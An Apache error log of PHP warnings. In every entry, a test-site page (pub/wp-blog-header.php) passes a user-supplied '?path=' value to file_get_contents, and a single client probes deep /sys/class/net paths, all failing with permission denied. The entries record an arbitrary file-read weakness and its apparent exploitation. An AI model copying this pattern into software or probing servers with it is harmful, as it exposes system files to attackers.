[Thu Mar 26 15:19:54.899466 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:fa
[Thu Mar 26 15:19:57.184136 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem
[Thu Mar 26 15:19:58.779300 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem
[Thu Mar 26 15:20:00.342611 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ca
[Thu Mar 26 15:20:00.834661 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 15:20:07.087736 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ee
[Thu Mar 26 15:20:09.191816 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem
[Thu Mar 26 15:20:10.244310 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:ca
[Thu Mar 26 15:20:14.958927 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/devices/device:be
[Thu Mar 26 15:20:17.155936 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ac
[Thu Mar 26 15:20:22.039695 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/drivers/ec
[Thu Mar 26 15:20:23.124970 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/drivers/ac
[Thu Mar 26 15:20:28.316972 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ec
[Thu Mar 26 15:20:31.690590 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/device:ac
[Thu Mar 26 15:20:35.324735 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:fa
[Thu Mar 26 15:20:38.976372 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:be
[Thu Mar 26 15:20:40.042978 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:dc
[Thu Mar 26 15:20:45.269206 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ec
[Thu Mar 26 15:20:46.358076 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:ce
[Thu Mar 26 15:20:46.921897 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ff/subsystem/devices/device:ec
[Thu Mar 26 15:20:48.990054 2026] [php:warn] [pid 3216463] [client 74.7.241.26:37068] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ae
[Thu Mar 26 15:20:50.711221 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/drivers/ec
[Thu Mar 26 15:20:51.316847 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/devices/device:da
[Thu Mar 26 15:20:52.384006 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:fe
[Thu Mar 26 15:20:53.970092 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:bc
[Thu Mar 26 15:20:55.516312 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ea
[Thu Mar 26 15:20:56.068489 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:fe
[Thu Mar 26 15:20:57.108163 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/drivers/ec
[Thu Mar 26 15:20:58.155429 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/drivers/ec
[Thu Mar 26 15:20:58.759206 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ec
[Thu Mar 26 15:21:02.391665 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ae/subsystem/devices/device:ca
[Thu Mar 26 15:21:03.455772 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:df/subsystem/devices/device:fc
[Thu Mar 26 15:21:04.016569 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/nfit/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/nfit
[Thu Mar 26 15:21:07.672150 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ec
[Thu Mar 26 15:21:09.385734 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ac
[Thu Mar 26 15:21:18.017339 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ab/subsystem
[Thu Mar 26 15:21:18.464074 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ac
[Thu Mar 26 15:21:23.250944 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ac/subsystem/drivers/ec
[Thu Mar 26 15:21:28.474411 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ba
[Thu Mar 26 15:21:29.004309 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:dc
[Thu Mar 26 15:21:30.591126 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 15:21:35.479639 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ba/subsystem/drivers/ec
[Thu Mar 26 15:21:36.554505 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:ce
[Thu Mar 26 15:21:37.061259 2026] [php:warn] [pid 3216554] [client 74.7.241.26:54172] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/drivers/ac
